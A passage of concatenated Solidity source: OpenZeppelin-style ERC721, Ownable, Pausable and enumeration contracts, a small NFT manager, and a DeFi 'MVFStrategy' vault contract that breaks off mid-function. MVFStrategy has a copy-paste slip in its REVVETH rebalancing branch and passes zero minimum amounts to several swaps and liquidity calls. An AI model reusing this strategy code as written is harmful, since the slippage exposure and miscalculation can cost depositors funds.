function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Unlockable is Ownable {
bool public unlockableContent;
function enableUnlockable() public onlyOwner returns (bool) {
unlockableContent = true;
return unlockableContent;
}
function disableUnlockable() public onlyOwner returns (bool) {
unlockableContent = false;
return unlockableContent;
}
function getUnlockStatus() public view returns (bool) {
return unlockableContent;
}
}
// SPDX-License-Identifier: UNLICENSED
// Code by zipzinger and cmtzco
// DEFIBOYS
// defiboys.com
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Nft.sol";
contract NftManager is Ownable {
mapping(address => bool) public approvedContracts;
function swap(address _recipient, uint256 _tokenID) external {
require(
approvedContracts[msg.sender],
"Run setApprovedContract for NFT Contract"
);
Nft(msg.sender).nftManagerPerformSwap(_recipient, _tokenID);
}
function setApprovedContract(address addr, bool status) external onlyOwner {
approvedContracts[addr] = status;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
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|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
interface IRouter {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function getAmountsOut(uint amountIn, address[] memory path) external view returns (uint[] memory amounts);
}
interface IPair is IERC20Upgradeable {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface IUniV3Router {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint deadline;
uint amountIn;
uint amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
function exactInputSingle(
ExactInputSingleParams calldata params
) external returns (uint amountOut);
struct IncreaseLiquidityParams {
uint256 tokenId;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
function increaseLiquidity(
IncreaseLiquidityParams calldata params
) external returns (uint128 liquidity, uint256 amount0, uint256 amount1);
struct DecreaseLiquidityParams {
uint256 tokenId;
uint128 liquidity;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
function decreaseLiquidity(
DecreaseLiquidityParams calldata params
) external returns (uint256 amount0, uint256 amount1);
function positions(
uint256 tokenId
) external view returns (uint96, address, address, address, uint24, int24, int24, uint128, uint256, uint256, uint128, uint128);
}
interface IDaoL1Vault is IERC20Upgradeable {
function deposit(uint amount) external;
function withdraw(uint share) external returns (uint);
function getAllPoolInUSD() external view returns (uint);
function getAllPoolInETH() external view returns (uint);
function getAllPoolInETHExcludeVestedILV() external view returns (uint);
}
interface IDaoL1VaultUniV3 is IERC20Upgradeable {
function deposit(uint amount0, uint amount1) external;
function withdraw(uint share) external returns (uint, uint);
function getAllPoolInUSD() external view returns (uint);
function getAllPoolInETH() external view returns (uint);
}
interface IChainlink {
function latestAnswer() external view returns (int256);
}
contract MVFStrategy is Initializable, OwnableUpgradeable {
using SafeERC20Upgradeable for IERC20Upgradeable;
using SafeERC20Upgradeable for IPair;
IERC20Upgradeable constant WETH = IERC20Upgradeable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20Upgradeable constant AXS = IERC20Upgradeable(0xBB0E17EF65F82Ab018d8EDd776e8DD940327B28b);
IERC20Upgradeable constant SLP = IERC20Upgradeable(0xCC8Fa225D80b9c7D42F96e9570156c65D6cAAa25);
IERC20Upgradeable constant ILV = IERC20Upgradeable(0x767FE9EDC9E0dF98E07454847909b5E959D7ca0E);
IERC20Upgradeable constant GHST = IERC20Upgradeable(0x3F382DbD960E3a9bbCeaE22651E88158d2791550);
IERC20Upgradeable constant REVV = IERC20Upgradeable(0x557B933a7C2c45672B610F8954A3deB39a51A8Ca);
IERC20Upgradeable constant MVI = IERC20Upgradeable(0x72e364F2ABdC788b7E918bc238B21f109Cd634D7);
IERC20Upgradeable constant AXSETH = IERC20Upgradeable(0x0C365789DbBb94A29F8720dc465554c587e897dB);
IERC20Upgradeable constant SLPETH = IERC20Upgradeable(0x8597fa0773888107E2867D36dd87Fe5bAFeAb328);
IERC20Upgradeable constant ILVETH = IERC20Upgradeable(0x6a091a3406E0073C3CD6340122143009aDac0EDa);
IERC20Upgradeable constant GHSTETH = IERC20Upgradeable(0xFbA31F01058DB09573a383F26a088f23774d4E5d);
IPair constant REVVETH = IPair(0x724d5c9c618A2152e99a45649a3B8cf198321f46);
IRouter constant uniV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniV3Router constant uniV3Router = IUniV3Router(0xE592427A0AEce92De3Edee1F18E0157C05861564);
IRouter constant sushiRouter = IRouter(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // Sushi
IDaoL1Vault public AXSETHVault;
IDaoL1Vault public SLPETHVault;
IDaoL1Vault public ILVETHVault;
IDaoL1VaultUniV3 public GHSTETHVault;
uint constant AXSETHTargetPerc = 2000;
uint constant SLPETHTargetPerc = 1500;
uint constant ILVETHTargetPerc = 2000;
uint constant GHSTETHTargetPerc = 1000;
uint constant REVVETHTargetPerc = 1000;
uint constant MVITargetPerc = 2500;
address public vault;
uint public watermark; // In USD (18 decimals)
uint public profitFeePerc;
event TargetComposition (uint AXSETHTargetPool, uint SLPETHTargetPool, uint ILVETHTargetPool, uint GHSTETHTargetPool, uint REVVETHTargetPool, uint MVITargetPool);
event CurrentComposition (uint AXSETHCurrentPool, uint SLPETHCurrentPool, uint ILVETHCurrentPool, uint GHSTETHCurrentPool, uint REVVETHCurrentPool, uint MVICurrentPool);
event InvestAXSETH(uint WETHAmt, uint AXSETHAmt);
event InvestSLPETH(uint WETHAmt, uint SLPETHAmt);
event InvestILVETH(uint WETHAmt, uint ILVETHAmt);
event InvestGHSTETH(uint WETHAmt, uint GHSTAmt);
event InvestREVVETH(uint WETHAmt, uint REVVETHAmt);
event InvestMVI(uint WETHAmt, uint MVIAmt);
event Withdraw(uint amount, uint WETHAmt);
event WithdrawAXSETH(uint lpTokenAmt, uint WETHAmt);
event WithdrawSLPETH(uint lpTokenAmt, uint WETHAmt);
event WithdrawILVETH(uint lpTokenAmt, uint WETHAmt);
event WithdrawGHSTETH(uint GHSTAmt, uint WETHAmt);
event WithdrawREVVETH(uint lpTokenAmt, uint WETHAmt);
event WithdrawMVI(uint lpTokenAmt, uint WETHAmt);
event CollectProfitAndUpdateWatermark(uint currentWatermark, uint lastWatermark, uint fee);
event AdjustWatermark(uint currentWatermark, uint lastWatermark);
event Reimburse(uint WETHAmt);
event EmergencyWithdraw(uint WETHAmt);
modifier onlyVault {
require(msg.sender == vault, "Only vault");
_;
}
function initialize(
address _AXSETHVault, address _SLPETHVault, address _ILVETHVault, address _GHSTETHVault
) external initializer {
__Ownable_init();
AXSETHVault = IDaoL1Vault(_AXSETHVault);
SLPETHVault = IDaoL1Vault(_SLPETHVault);
ILVETHVault = IDaoL1Vault(_ILVETHVault);
GHSTETHVault = IDaoL1VaultUniV3(_GHSTETHVault);
profitFeePerc = 2000;
WETH.safeApprove(address(sushiRouter), type(uint).max);
WETH.safeApprove(address(uniV2Router), type(uint).max);
WETH.safeApprove(address(uniV3Router), type(uint).max);
AXS.safeApprove(address(sushiRouter), type(uint).max);
SLP.safeApprove(address(sushiRouter), type(uint).max);
ILV.safeApprove(address(sushiRouter), type(uint).max);
GHST.safeApprove(address(uniV3Router), type(uint).max);
REVV.safeApprove(address(uniV2Router), type(uint).max);
MVI.safeApprove(address(uniV2Router), type(uint).max);
AXSETH.safeApprove(address(sushiRouter), type(uint).max);
AXSETH.safeApprove(address(AXSETHVault), type(uint).max);
SLPETH.safeApprove(address(sushiRouter), type(uint).max);
SLPETH.safeApprove(address(SLPETHVault), type(uint).max);
ILVETH.safeApprove(address(sushiRouter), type(uint).max);
ILVETH.safeApprove(address(ILVETHVault), type(uint).max);
GHST.safeApprove(address(GHSTETHVault), type(uint).max);
WETH.safeApprove(address(GHSTETHVault), type(uint).max);
REVVETH.safeApprove(address(uniV2Router), type(uint).max);
}
function invest(uint WETHAmt) external onlyVault {
WETH.safeTransferFrom(vault, address(this), WETHAmt);
uint[] memory pools = getEachPool(false);
uint pool = pools[0] + pools[1] + pools[2] + pools[3] + pools[4] + pools[5] + WETHAmt;
uint AXSETHTargetPool = pool * 2000 / 10000; // 20%
uint SLPETHTargetPool = pool * 1500 / 10000; // 15%
uint ILVETHTargetPool = AXSETHTargetPool; // 20%
uint GHSTETHTargetPool = pool * 1000 / 10000; // 10%
uint REVVETHTargetPool = GHSTETHTargetPool; // 10%
uint MVITargetPool = pool * 2500 / 10000; // 25%
// Rebalancing invest
if (
AXSETHTargetPool > pools[0] &&
SLPETHTargetPool > pools[1] &&
ILVETHTargetPool > pools[2] &&
GHSTETHTargetPool > pools[3] &&
REVVETHTargetPool > pools[4] &&
MVITargetPool > pools[5]
) {
investAXSETH(AXSETHTargetPool - pools[0]);
investSLPETH(SLPETHTargetPool - pools[1]);
investILVETH(ILVETHTargetPool - pools[2]);
investGHSTETH(GHSTETHTargetPool - pools[3]);
investREVVETH(REVVETHTargetPool - pools[4]);
investMVI(MVITargetPool - pools[5]);
} else {
uint furthest;
uint farmIndex;
uint diff;
if (AXSETHTargetPool > pools[0]) {
diff = AXSETHTargetPool - pools[0];
furthest = diff;
farmIndex = 0;
}
if (SLPETHTargetPool > pools[1]) {
diff = SLPETHTargetPool - pools[1];
if (diff > furthest) {
furthest = diff;
farmIndex = 1;
}
}
if (ILVETHTargetPool > pools[2]) {
diff = ILVETHTargetPool - pools[2];
if (diff > furthest) {
furthest = diff;
farmIndex = 2;
}
}
if (GHSTETHTargetPool > pools[3]) {
diff = GHSTETHTargetPool - pools[3];
if (diff > furthest) {
furthest = diff;
farmIndex = 3;
}
}
if (REVVETHTargetPool > pools[4]) {
diff = AXSETHTargetPool - pools[4];
if (diff > furthest) {
furthest = diff;
farmIndex = 4;
}
}
if (MVITargetPool > pools[5]) {
diff = MVITargetPool - pools[5];
if (diff > furthest) {
furthest = diff;
farmIndex = 5;
}
}
if (farmIndex == 0) investAXSETH(WETHAmt);
else if (farmIndex == 1) investSLPETH(WETHAmt);
else if (farmIndex == 2) investILVETH(WETHAmt);
else if (farmIndex == 3) investGHSTETH(WETHAmt);
else if (farmIndex == 4) investREVVETH(WETHAmt);
else investMVI(WETHAmt);
}
emit TargetComposition(AXSETHTargetPool, SLPETHTargetPool, ILVETHTargetPool, GHSTETHTargetPool, REVVETHTargetPool, MVITargetPool);
emit CurrentComposition(pools[0], pools[1], pools[2], pools[3], pools[4], pools[5]);
}
function investAXSETH(uint WETHAmt) private {
uint halfWETH = WETHAmt / 2;
uint AXSAmt = sushiSwap(address(WETH), address(AXS), halfWETH, 0);
(,,uint AXSETHAmt) = sushiRouter.addLiquidity(address(AXS), address(WETH), AXSAmt, halfWETH, 0, 0, address(this), block.timestamp);
AXSETHVault.deposit(AXSETHAmt);
emit InvestAXSETH(WETHAmt, AXSETHAmt);
}
function investSLPETH(uint WETHAmt) private {
uint halfWETH = WETHAmt / 2;
uint SLPAmt = sushiSwap(address(WETH), address(SLP), halfWETH, 0);
(,,uint SLPETHAmt) = sushiRouter.addLiquidity(address(SLP), address(WETH), SLPAmt, halfWETH, 0, 0, address(this), block.timestamp);
SLPETHVault.deposit(SLPETHAmt);
emit InvestSLPETH(WETHAmt, SLPETHAmt);
}
function investILVETH(uint WETHAmt) private {
uint halfWETH = WETHAmt / 2;
uint ILVAmt = sushiSwap(address(WETH), address(ILV), halfWETH, 0);
(,,uint ILVETHAmt) = sushiRouter.addLiquidity(address(ILV), address(WETH), ILVAmt, halfWETH, 0, 0, address(this), block.timestamp);
ILVETHVault.deposit(ILVETHAmt);
emit InvestILVETH(WETHAmt, ILVETHAmt);
}
function investGHSTETH(uint WETHAmt) private {
uint halfWETH = WETHAmt / 2;
uint GHSTAmt = uniV3Swap(address(WETH), address(GHST), 10000, halfWETH, 0);
GHSTETHVault.deposit(GHSTAmt, halfWETH);
emit InvestGHSTETH(WETHAmt, GHSTAmt);
}
function investREVVETH(uint WETHAmt) private {
uint halfWETH = WETHAmt / 2;
uint REVVAmt = uniV2Swap(address(WETH), address(REVV), halfWETH, 0);
(,,uint REVVETHAmt) = uniV2Router.addLiquidity(address(REVV), address(WETH), REVVAmt, halfWETH, 0, 0, address(this), block.timestamp);
emit InvestREVVETH(WETHAmt, REVVETHAmt);
}
function investMVI(uint WETHAmt) private {
uint MVIAmt = uniV2Swap(address(WETH), address(MVI), WETHAmt, 0);
emit InvestMVI(WETHAmt, MVIAmt);
}
/// @param amount Amount to withdraw in USD
function withdraw(uint amount, uint[] calldata tokenPrice) external onlyVault returns (uint WETHAmt) {
uint sharePerc = amount * 1e18 / getAllPoolInUSD(false);
uint WETHAmtBefore = WETH.balanceOf(address(this));
withdrawAXSETH(sharePerc, tokenPrice[1]);
withdrawSLPETH(sharePerc, tokenPrice[2]);
withdrawILVETH(sharePerc, tokenPrice[3]);
withdrawGHSTETH(sharePerc, tokenPrice[4]);
withdrawREVVETH(sharePerc, tokenPrice[5]);
withdrawMVI(sharePerc, tokenPrice[6]);
WETHAmt = WETH.balanceOf(address(this)) - WETHAmtBefore;
WETH.safeTransfer(vault, WETHAmt);
emit Withdraw(amount, WETHAmt);
}
function withdrawAXSETH(uint sharePerc, uint AXSPriceInWETHMin) private {
uint AXSETHAmt = AXSETHVault.withdraw(AXSETHVault.balanceOf(address(this)) * sharePerc / 1e18);
(uint AXSAmt, uint WETHAmt) = sushiRouter.removeLiquidity(address(AXS), address(WETH), AXSETHAmt, 0, 0, address(this), block.timestamp);
uint _WETHAmt = sushiSwap(address(AXS), address(WETH), AXSAmt, AXSAmt * AXSPriceInWETHMin / 1e18);
emit WithdrawAXSETH(AXSETHAmt, WETHAmt + _WETHAmt);
}
function withdrawSLPETH(uint sharePerc, uint SLPPriceInWETHMin) private {
